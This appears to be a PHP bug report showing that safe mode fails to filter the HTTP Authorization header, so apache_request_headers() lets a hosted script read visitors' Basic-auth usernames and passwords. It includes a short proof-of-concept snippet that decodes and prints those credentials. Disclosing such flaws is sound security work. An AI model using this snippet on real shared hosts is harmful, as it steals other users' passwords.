Description:
------------
In safe mode, the PHP_AUTH_PW variable is not available to users if the authorisation was handled by Apache rather than PHP (e.g. Apache's various mod_auth_*). This correctly prevents users from reading the passwords from a central user database simply by getting a logged-in user to view their page.

However, the HTTP Authorization header is not similarly filtered out in safe_mode, allowing a malicious user to use the code below to read other users' passwords.

This definitely affects apache_request_headers() - if there are any other functions also allowing reading of HTTP request headers, they should also be checked.

Reproduce code:
---------------
<?php
// in a directory with Basic auth via Apache configuration
$headers = apache_request_headers();
$auth = substr($headers['Authorization'],6);
$up = base64_decode($auth);
print($up);
?>

Expected result:
----------------
Should not print anything.

Actual result:
--------------
Prints username and password of authenticated user